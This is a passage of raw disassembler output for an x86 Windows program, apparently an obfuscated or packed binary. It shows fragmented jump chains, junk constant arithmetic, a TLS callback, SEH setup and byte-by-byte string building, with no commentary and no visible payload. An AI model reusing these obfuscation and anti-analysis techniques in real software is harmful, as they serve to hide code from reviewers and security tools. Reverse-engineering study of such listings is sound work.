; START OF FUNCTION CHUNK FOR sub_423324
loc_424CE8: ; CODE XREF: sub_423324+59FAj
jmp sub_425A09
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429974
loc_424CED: ; CODE XREF: sub_429974-5CCBj
jmp sub_42574E
; END OF FUNCTION CHUNK FOR sub_429974
; =============== S U B R O U T I N E =======================================
sub_424CF2 proc near ; CODE XREF: sub_42284F+2EB5p
; sub_426C7A+57E7j
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 00422C3E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423047 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004295DE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C4AC SIZE 00000005 BYTES
mov [esp-0Ch+arg_8], edx
pop edx
xor [esi], ebx
add [esi], ecx
xor [esi], edx
jmp loc_422C3E
sub_424CF2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C1AE
loc_424D01: ; CODE XREF: sub_42C1AE:loc_42AEC8j
push 9783D73Ch
pop eax
jmp loc_426CD4
; END OF FUNCTION CHUNK FOR sub_42C1AE
; ---------------------------------------------------------------------------
locret_424D0C: ; CODE XREF: _94j21ax3:loc_427890j
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_424D0D: ; CODE XREF: sub_423324+35j
and edx, 4F0D09E0h
or ebp, 6D11DFAEh
rol eax, 0Fh
shr ebp, 0Fh
mov edx, esi
jmp loc_42318E
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
loc_424D26: ; CODE XREF: _94j21ax3:0042BBE4j
jz loc_42746C
jmp loc_423A6B
; ---------------------------------------------------------------------------
loc_424D31: ; CODE XREF: _94j21ax3:loc_422BCCj
; _94j21ax3:loc_42473Dj
call nullsub_11
call sub_424475
; START OF FUNCTION CHUNK FOR sub_428BBD
loc_424D3B: ; CODE XREF: sub_428BBD-55B8j
jmp sub_42574E
; END OF FUNCTION CHUNK FOR sub_428BBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422048
loc_424D40: ; CODE XREF: sub_422048+2F3j
jmp loc_429ED1
; END OF FUNCTION CHUNK FOR sub_422048
; ---------------------------------------------------------------------------
rol ecx, 5
jmp sub_4241D8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_134. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4249A9
loc_424D4E: ; CODE XREF: sub_4249A9+4E20j
jmp loc_42A1F5
; END OF FUNCTION CHUNK FOR sub_4249A9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B03C
loc_424D53: ; CODE XREF: sub_42B03C-7484j
jmp loc_427F9A
; END OF FUNCTION CHUNK FOR sub_42B03C
; =============== S U B R O U T I N E =======================================
sub_424D58 proc near ; CODE XREF: sub_428BBD:loc_429C69p
; sub_42484C+7157j
var_C = dword ptr -0Ch
; FUNCTION CHUNK AT 00426864 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00428C31 SIZE 00000005 BYTES
push large dword ptr fs:0
mov large fs:0, esp
push dword ptr [ebp-4]
push esi
push 40DCB3ACh
loc_424D6F: ; CODE XREF: sub_423A56:loc_4263E6j
pop esi
jmp loc_426864
sub_424D58 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AB30
loc_424D75: ; CODE XREF: sub_42AB30+Fj
or eax, eax
jnz loc_424768
call sub_42574E
push offset loc_428029
jmp loc_423993
; END OF FUNCTION CHUNK FOR sub_42AB30
; =============== S U B R O U T I N E =======================================
sub_424D8C proc near ; DATA XREF: _94j21ax3:0042577Ao
var_18 = dword ptr -18h
; FUNCTION CHUNK AT 004219CE SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00423189 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B630 SIZE 00000012 BYTES
lea eax, [ebp-80Ch]
push eax
push 0
push 0
push 0
push 0
jmp loc_4219CE
sub_424D8C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
test ebp, 29126518h
jmp loc_42A03E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421D33
loc_424DAB: ; CODE XREF: sub_421D33:loc_42B813j
pop ecx
mov [ebp-20h], eax
jmp loc_428FC8
; END OF FUNCTION CHUNK FOR sub_421D33
; =============== S U B R O U T I N E =======================================
sub_424DB4 proc near ; CODE XREF: sub_421D33+9BCDp
; FUNCTION CHUNK AT 00426FDC SIZE 00000005 BYTES
push ebp
push offset sub_425330
jmp loc_426FDC
sub_424DB4 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421246
loc_424DBF: ; CODE XREF: sub_421246:loc_42BF0Aj
pushf
call sub_422FBC
or edx, 5A0F8D15h
jmp loc_423D1F
; END OF FUNCTION CHUNK FOR sub_421246
; ---------------------------------------------------------------------------
locret_424DD0: ; CODE XREF: _94j21ax3:loc_4256E5j
retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_41. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_424DD2: ; CODE XREF: _94j21ax3:0042451Ej
jmp loc_427ED6
; ---------------------------------------------------------------------------
loc_424DD7: ; CODE XREF: _94j21ax3:00422D60j
jmp loc_42A7EB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423B78
loc_424DDC: ; CODE XREF: sub_423B78:loc_421794j
mov eax, [ebx]
push offset loc_426E4A
jmp loc_424870
; END OF FUNCTION CHUNK FOR sub_423B78
; =============== S U B R O U T I N E =======================================
sub_424DE8 proc near ; CODE XREF: _94j21ax3:004294D4j
; sub_42C3BD+4p
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00422053 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424649 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004275A4 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 004295B0 SIZE 0000000A BYTES
mov [esp+0], edx
pop edx
mov esp, ebp
xchg ebx, [esp-4+arg_0]
mov ebp, ebx
jmp loc_4275A4
sub_424DE8 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
push 416E47FEh
pop eax
sub eax, 9F7003FDh
and eax, 4D98D442h
xor eax, 0A899765Dh
add eax, ebp
jmp loc_426B1F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_424E17: ; CODE XREF: sub_422EB0:loc_42AA21j
jz loc_421E7B
jmp loc_429312
; END OF FUNCTION CHUNK FOR sub_422EB0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4258EB
loc_424E22: ; CODE XREF: sub_4258EB-2BABj
cmp al, 0A4h
jnz loc_4299D4
jmp loc_42B264
; END OF FUNCTION CHUNK FOR sub_4258EB
; ---------------------------------------------------------------------------
jmp loc_42A33C
; =============== S U B R O U T I N E =======================================
sub_424E34 proc near ; CODE XREF: sub_423BF8:loc_425B72j
; sub_427D15+8p ...
; FUNCTION CHUNK AT 0042B8D1 SIZE 00000005 BYTES
mov edx, 1
lock xchg edx, [eax]
or edx, edx
jz nullsub_29
jmp loc_42B8D1
sub_424E34 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425868
loc_424E49: ; CODE XREF: sub_425868:loc_42345Fj
jz loc_4241CA
shl ebx, 1Dh
add ebx, edi
jmp loc_4241CA
; END OF FUNCTION CHUNK FOR sub_425868
; ---------------------------------------------------------------------------
loc_424E59: ; CODE XREF: _94j21ax3:0042C502j
jnz loc_4285DC
; START OF FUNCTION CHUNK FOR sub_42270C
loc_424E5F: ; CODE XREF: sub_42270C+815Ej
jmp loc_4227E7
; END OF FUNCTION CHUNK FOR sub_42270C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428BBD
loc_424E64: ; CODE XREF: sub_428BBD+10BFj
jmp loc_42AD7B
; END OF FUNCTION CHUNK FOR sub_428BBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_424E69: ; CODE XREF: sub_4294B3-6F96j
jmp loc_423B2B
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
jns loc_424F79
sub esi, ebx
jmp loc_4285D8
; ---------------------------------------------------------------------------
loc_424E7B: ; DATA XREF: _94j21ax3:0042321Do
add edi, 0E6CA0E52h
add edi, ebp
call sub_422DF2
; START OF FUNCTION CHUNK FOR sub_42B358
loc_424E88: ; CODE XREF: sub_42B358+13j
jmp loc_42AD61
; END OF FUNCTION CHUNK FOR sub_42B358
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_85. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422538
loc_424E8E: ; CODE XREF: sub_422538+6B2Cj
jmp loc_42722A
; END OF FUNCTION CHUNK FOR sub_422538
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_172. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422A67
loc_424E94: ; CODE XREF: sub_422A67+Fj
jmp nullsub_209
; END OF FUNCTION CHUNK FOR sub_422A67
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C1AE
loc_424E99: ; CODE XREF: sub_42C1AE:loc_427EE0j
jnz loc_42C424
jmp loc_42BD50
; END OF FUNCTION CHUNK FOR sub_42C1AE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_140. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427C35
loc_424EA5: ; CODE XREF: sub_427C35:loc_42362Dj
add eax, 4
loc_424EA8: ; CODE XREF: sub_42B314:loc_429750j
mov ebx, [eax]
add eax, 4
mov edi, [eax]
jmp loc_429205
; END OF FUNCTION CHUNK FOR sub_427C35
; =============== S U B R O U T I N E =======================================
sub_424EB4 proc near ; CODE XREF: _94j21ax3:0042518Aj
; sub_42B079p
; FUNCTION CHUNK AT 00425119 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0042A0AA SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0042B88C SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0042C31A SIZE 0000000A BYTES
mov [esp+0], esi
pop esi
jz loc_42C31A
call sub_42A254
loc_424EC3: ; CODE XREF: sub_427D15-638j
jmp loc_42A0AA
sub_424EB4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422866
loc_424EC8: ; CODE XREF: sub_422866-966j
jmp loc_4251B8
; END OF FUNCTION CHUNK FOR sub_422866
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C1AE
loc_424ECD: ; CODE XREF: sub_42C1AE-9DF0j
adc esi, 0F783067Ch
loc_424ED3: ; CODE XREF: sub_42C1AE:loc_4210EFj
cmp ebx, 68747541h
jz loc_42877C
jmp loc_427EE0
; END OF FUNCTION CHUNK FOR sub_42C1AE
; =============== S U B R O U T I N E =======================================
sub_424EE4 proc near ; DATA XREF: sub_42266A+55DDo
; FUNCTION CHUNK AT 00422E99 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004253A1 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 004287A5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00429CDC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A69B SIZE 0000000D BYTES
push 0
call sub_42651A
pop eax
cmp dword ptr [eax], 0
jmp loc_429CDC
sub_424EE4 endp
; ---------------------------------------------------------------------------
loc_424EF4: ; CODE XREF: _94j21ax3:0042B120j
js loc_42325F
; =============== S U B R O U T I N E =======================================
sub_424EFA proc near ; CODE XREF: sub_42651A+3192p
; FUNCTION CHUNK AT 00424748 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004263E1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426EA4 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00429E4B SIZE 0000001E BYTES
xchg ecx, [esp+0]
pop ecx
push ebp
xchg ebx, ebp
pushf
jmp loc_4263E1
sub_424EFA endp
; =============== S U B R O U T I N E =======================================
sub_424F07 proc near ; DATA XREF: _94j21ax3:00422C2Do
; FUNCTION CHUNK AT 00429C81 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042B4C7 SIZE 00000005 BYTES
mov byte ptr [eax], 64h
inc dword ptr [ebp-20h]
mov eax, [ebp-20h]
mov byte ptr [eax], 6Ch
inc dword ptr [ebp-20h]
mov eax, [ebp-20h]
mov byte ptr [eax], 6Ch
inc dword ptr [ebp-20h]
jmp loc_42B4C7
sub_424F07 endp
; ---------------------------------------------------------------------------
cdq
not ecx
jmp sub_42B405
; ---------------------------------------------------------------------------
mov eax, [ebp-4]
and dword ptr [eax+24h], 7FFFFFFFh
lea eax, [ebp-14h]
push eax
push 0CDCD7534h
jmp loc_426CCA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C149
loc_424F44: ; CODE XREF: sub_42C149+15j
add ecx, 0F5DE0796h
xchg ecx, [esp+0]
jmp loc_429F90
; END OF FUNCTION CHUNK FOR sub_42C149
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4251A2
loc_424F52: ; CODE XREF: sub_4251A2+11j
push edi
push 9C6F7D34h
xchg ebx, [esp+8+var_8]
mov edi, ebx
loc_424F5D: ; CODE XREF: _94j21ax3:loc_42861Aj
pop ebx
jmp loc_42BA0A
; END OF FUNCTION CHUNK FOR sub_4251A2
; ---------------------------------------------------------------------------
push 431EA84Eh
jmp loc_42B036
; ---------------------------------------------------------------------------
add esi, ebx
jmp loc_4214E0
; ---------------------------------------------------------------------------
loc_424F74: ; DATA XREF: sub_42B487-86D0o
push 68B1120Eh
loc_424F79: ; CODE XREF: _94j21ax3:00424E6Ej
mov eax, offset sub_42997D
xchg eax, [esp]
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BDF4
loc_424F82: ; CODE XREF: sub_42BDF4-668Dj
jmp nullsub_139
; END OF FUNCTION CHUNK FOR sub_42BDF4
; ---------------------------------------------------------------------------
locret_424F87: ; CODE XREF: _94j21ax3:00427802j
retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_152. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_424F89: ; CODE XREF: _94j21ax3:00423697j
jmp loc_421901
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_424F8E: ; CODE XREF: sub_4294B3-4A8Ej
jns loc_429B29
loc_424F94: ; CODE XREF: sub_4294B3:loc_42583Cj
lea eax, [ebp-2AAh]
cmp dword ptr [eax], 4742444Fh
jz loc_42A566
jmp loc_422823
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424320
loc_424FAB: ; CODE XREF: sub_424320+2E7Bj
mov [edx], esi
mov eax, 8D356F30h
sbb eax, 17B80147h
jmp loc_423DC7
; END OF FUNCTION CHUNK FOR sub_424320
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421393
loc_424FBD: ; CODE XREF: sub_421393:loc_42BA85j
add edx, 1A6CF1h
popf
xchg edx, [esp+0]
jmp sub_4239A5
; END OF FUNCTION CHUNK FOR sub_421393
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR TlsCallback_0
loc_424FCC: ; CODE XREF: TlsCallback_0-2D8Aj
jz loc_423F9E
jmp loc_426F3C
; END OF FUNCTION CHUNK FOR TlsCallback_0
; ---------------------------------------------------------------------------
loc_424FD7: ; CODE XREF: _94j21ax3:00429012j
jb loc_421276
shr edi, 1Fh
; =============== S U B R O U T I N E =======================================
sub_424FE0 proc near ; CODE XREF: _94j21ax3:004253D2p
mov [esp+0], edi
pop edi
sbb eax, eax
neg eax
push edx
push 0A7C649A7h
jmp loc_428650
sub_424FE0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429DCC
loc_424FF3: ; CODE XREF: sub_429DCC-F66j
mov ebp, eax
loc_424FF5: ; CODE XREF: sub_429DCC:loc_428E5Ej
or eax, 92ECAFFEh
add eax, 4555844Ah
call sub_428F65
test al, al
jz nullsub_86
jmp loc_423421
; END OF FUNCTION CHUNK FOR sub_429DCC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42484C
loc_425013: ; CODE XREF: sub_42484C:loc_423679j
ror edx, 18h
cdq
add edx, edi
loc_425019: ; CODE XREF: _94j21ax3:loc_42C1CAj
jmp loc_4249B4
; END OF FUNCTION CHUNK FOR sub_42484C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421402
loc_42501E: ; CODE XREF: sub_421402+15j
xchg edi, [esp+0]
lea eax, [ebp-806h]
push eax
push ebx
jmp loc_4226D5
; END OF FUNCTION CHUNK FOR sub_421402
; ---------------------------------------------------------------------------
mov [ebx], edi
jmp sub_429964
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4249A9
loc_425035: ; CODE XREF: sub_4249A9:loc_4245D0j
mov edi, ebx
jmp loc_421BB5
; END OF FUNCTION CHUNK FOR sub_4249A9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_154. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42426B
loc_42503D: ; CODE XREF: sub_42426B:loc_42A553j
jl loc_428C90
jmp loc_4230A4
; END OF FUNCTION CHUNK FOR sub_42426B
; ---------------------------------------------------------------------------
push eax
ror eax, 4
mov ds:dword_424078, eax
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425819
loc_425053: ; CODE XREF: sub_425819-3506j
jmp loc_4267E9
; END OF FUNCTION CHUNK FOR sub_425819
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429862
loc_425058: ; CODE XREF: sub_429862:loc_421D1Bj
jz loc_42506D
inc [ebp+var_8]
loc_425061: ; CODE XREF: _94j21ax3:00422782j
; sub_429862-70D7j
mov eax, [ebp+var_8]
pop ecx
pop ecx
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_429862
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A254
loc_425068: ; CODE XREF: sub_42A254-8301j
jmp loc_424543
; END OF FUNCTION CHUNK FOR sub_42A254
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429862
loc_42506D: ; CODE XREF: sub_429862:loc_425058j
mov eax, [ebp+arg_0]
jmp loc_4245C6
; END OF FUNCTION CHUNK FOR sub_429862
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BAC2
loc_425075: ; CODE XREF: sub_42BAC2+Dj
adc edx, ebx
; END OF FUNCTION CHUNK FOR sub_42BAC2
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_425077: ; CODE XREF: sub_4294B3:loc_4218DEj
; sub_42A268+4j ...
jnb loc_4218BE
cmp dword ptr [ebp-4], 2
jnz loc_4299AB
jmp loc_422BB4
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428BBD
loc_42508C: ; CODE XREF: sub_428BBD:loc_428BD4j
add esi, 1FFF2717h
test eax, edi
jmp loc_42168F
; END OF FUNCTION CHUNK FOR sub_428BBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_425099: ; CODE XREF: sub_423324:loc_42C20Cj
pushf
push 2170A96Bh
pop edx
sub edx, 8ED2E792h
add edx, 6D623E27h
; END OF FUNCTION CHUNK FOR sub_423324
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_4250AC: ; CODE XREF: sub_42A0CC-6C02j
popf
xchg edx, [esp+0]
push 10h
jmp loc_424BCD
; END OF FUNCTION CHUNK FOR sub_42A0CC
; ---------------------------------------------------------------------------
loc_4250B7: ; DATA XREF: sub_426C7A+273o
cmp dword ptr [ebp-8], 0
jle loc_42C454
mov eax, [ebp-4]
xor edx, edx
push edx
push eax
mov eax, [ebp-8]
jmp loc_422810
; =============== S U B R O U T I N E =======================================
sub_4250D0 proc near ; CODE XREF: sub_423081:loc_422DD4p
; _94j21ax3:004279D2j
arg_0 = dword ptr 4
xchg esi, [esp+0]
pop esi
add eax, 41C4D223h
xchg eax, [esp-4+arg_0]
jmp sub_4210AA
sub_4250D0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
mov edx, 1AE260E8h
jmp loc_423184
; ---------------------------------------------------------------------------
adc edi, 0EEDE5D20h
jmp loc_4248E5
; =============== S U B R O U T I N E =======================================
sub_4250F7 proc near ; CODE XREF: sub_423324:loc_427EAEp
; _94j21ax3:00429D58j
; FUNCTION CHUNK AT 0042174C SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0042392A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042825F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00429D47 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00429DDC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042B02B SIZE 0000000B BYTES
mov [esp+0], ebx
pop ebx
add eax, 5BB1416Ch
mov eax, [eax]
or eax, eax
jmp loc_42825F
sub_4250F7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42510A proc near ; CODE XREF: sub_421C84+5p
; _94j21ax3:00426FFFj
mov [esp+0], ebx
pop ebx
pushf
push offset loc_4287E4
jmp locret_425B16
sub_42510A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424EB4
loc_425119: ; CODE XREF: sub_424EB4+69F2j
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_424EB4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428993
loc_42511D: ; CODE XREF: sub_428993+1DCBj
jmp loc_42AD49
; END OF FUNCTION CHUNK FOR sub_428993
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AB30
loc_425122: ; CODE XREF: sub_42AB30-63C0j
jmp nullsub_126
; END OF FUNCTION CHUNK FOR sub_42AB30
; =============== S U B R O U T I N E =======================================
sub_425127 proc near ; CODE XREF: sub_424EB4+69EAp
mov dword ptr [eax], 0
retn
sub_425127 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42966A
loc_42512E: ; CODE XREF: sub_42966A+Cj
jmp loc_423353
; END OF FUNCTION CHUNK FOR sub_42966A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426A9F
loc_425133: ; CODE XREF: sub_426A9F+18j
jmp loc_425A3D
; END OF FUNCTION CHUNK FOR sub_426A9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428B5E
loc_425138: ; CODE XREF: sub_428B5E-5B3Bj
jmp loc_423123
; END OF FUNCTION CHUNK FOR sub_428B5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_42513D: ; CODE XREF: sub_4272E9-4542j
cdq
jnb loc_422CFD
loc_425144: ; CODE XREF: sub_4272E9:loc_42B5A6j
call sub_427ABD
retn
; END OF FUNCTION CHUNK FOR sub_4272E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4232F5
loc_42514A: ; CODE XREF: sub_4232F5+9106j
jmp loc_42A3A2
; END OF FUNCTION CHUNK FOR sub_4232F5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A81A
loc_42514F: ; CODE XREF: sub_42A81A:loc_42545Aj
call sub_4247A2
xor eax, eax
retn
; END OF FUNCTION CHUNK FOR sub_42A81A
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425157 proc near ; DATA XREF: sub_4272E9-46DAo
var_8 = dword ptr -8
; FUNCTION CHUNK AT 0042241B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004275C6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042B8C5 SIZE 00000007 BYTES
push ebp
mov ebp, esp
xchg ecx, esi
push esi
jmp loc_42241B
sub_425157 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_425162: ; CODE XREF: _94j21ax3:00429D76j
jns loc_4223B6
; =============== S U B R O U T I N E =======================================
sub_425168 proc near ; CODE XREF: sub_42BF1Bp
mov [esp+0], ebx
pop ebx
push ebp
mov ebp, esp
push eax
call sub_42A77E
loc_425175: ; CODE XREF: sub_426985+494Cj
jmp nullsub_30
sub_425168 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42291D
loc_42517A: ; CODE XREF: sub_42291D+Ej
jmp loc_42B96A
; END OF FUNCTION CHUNK FOR sub_42291D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421656
loc_42517F: ; CODE XREF: sub_421656+13j
jmp loc_426F8C
; END OF FUNCTION CHUNK FOR sub_421656
; ---------------------------------------------------------------------------
xor eax, 68E7C845h
jmp sub_424EB4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C24F
loc_42518F: ; CODE XREF: sub_42C24F-8244j
; sub_42C24F:loc_4258A3j
call sub_42574E
push 0AD8DC64Fh
mov edx, offset sub_4251A2
xchg edx, [esp+0]
locret_4251A1: ; CODE XREF: _94j21ax3:00421B7Fj
retn
; END OF FUNCTION CHUNK FOR sub_42C24F
; =============== S U B R O U T I N E =======================================
sub_4251A2 proc near ; DATA XREF: sub_42C24F-70B6o
var_8 = dword ptr -8
; FUNCTION CHUNK AT 00424F52 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042BA0A SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0042C3CC SIZE 00000005 BYTES
or edx, 61B7D563h
xor edx, 533336D8h
call sub_4239A5
jmp loc_424F52
sub_4251A2 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422866
loc_4251B8: ; CODE XREF: sub_422866:loc_424EC8j
xchg eax, edi
shr esi, 1
jmp sub_423C10
; END OF FUNCTION CHUNK FOR sub_422866
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425934
loc_4251C1: ; CODE XREF: sub_425934+5813j
push eax
retn
; END OF FUNCTION CHUNK FOR sub_425934
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_4251C3: ; CODE XREF: sub_4272E9+4F9Aj
call sub_42C057
test al, al
jz loc_42591C
jmp loc_42B5A6
; END OF FUNCTION CHUNK FOR sub_4272E9
; =============== S U B R O U T I N E =======================================
sub_4251D5 proc near ; CODE XREF: _94j21ax3:0042244Fj
; sub_423614+304Dp
arg_0 = dword ptr 4
mov [esp+0], esi
pop esi
xchg ebp, [esp-4+arg_0]
retn
sub_4251D5 endp ; sp-analysis failed
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_207. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AA5F
loc_4251DE: ; CODE XREF: sub_42AA5F+9j
jmp loc_42153A
; END OF FUNCTION CHUNK FOR sub_42AA5F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272C3
loc_4251E3: ; CODE XREF: sub_4272C3+10j
jmp loc_42A207
; END OF FUNCTION CHUNK FOR sub_4272C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423614
loc_4251E8: ; CODE XREF: sub_423614:loc_422A56j
call sub_42B238
; END OF FUNCTION CHUNK FOR sub_423614
; START OF FUNCTION CHUNK FOR sub_42B238
loc_4251ED: ; CODE XREF: sub_42B238-49EFj
jmp loc_42657F
; END OF FUNCTION CHUNK FOR sub_42B238
; =============== S U B R O U T I N E =======================================
sub_4251F2 proc near ; CODE XREF: _94j21ax3:004217EEj
; _94j21ax3:0042C0EAp
xchg edx, [esp+0]
pop edx
test al, al
jz loc_421242
jmp loc_429176
sub_4251F2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_425203: ; DATA XREF: sub_429897+7o
cmp dword ptr [ebp-4], 100h
jnz loc_4230B9
; START OF FUNCTION CHUNK FOR sub_422973
loc_425210: ; CODE XREF: sub_4248E7:loc_421FF7j
; sub_422973+804Dj ...
call sub_427087
loc_425215: ; CODE XREF: sub_42BA8A-84E1j
jmp loc_4285E6
; END OF FUNCTION CHUNK FOR sub_422973
; ---------------------------------------------------------------------------
loc_42521A: ; CODE XREF: _94j21ax3:loc_426E94j
push eax
mov eax, [ebp-4]
call sub_422866
; START OF FUNCTION CHUNK FOR sub_425330
loc_425223: ; CODE XREF: sub_425330+452Dj
jmp loc_426E3B
; END OF FUNCTION CHUNK FOR sub_425330
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423FCD
loc_425228: ; CODE XREF: sub_423FCD+5ADDj
ja loc_426A49
jmp loc_42B064
; END OF FUNCTION CHUNK FOR sub_423FCD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A277
loc_425233: ; CODE XREF: sub_42A277-72C6j
; sub_42A277:loc_42B1F7j
call sub_42574E
mov edx, 0F75CA70h
call sub_4239A5
push eax
jmp loc_425AC1
; END OF FUNCTION CHUNK FOR sub_42A277
; ---------------------------------------------------------------------------
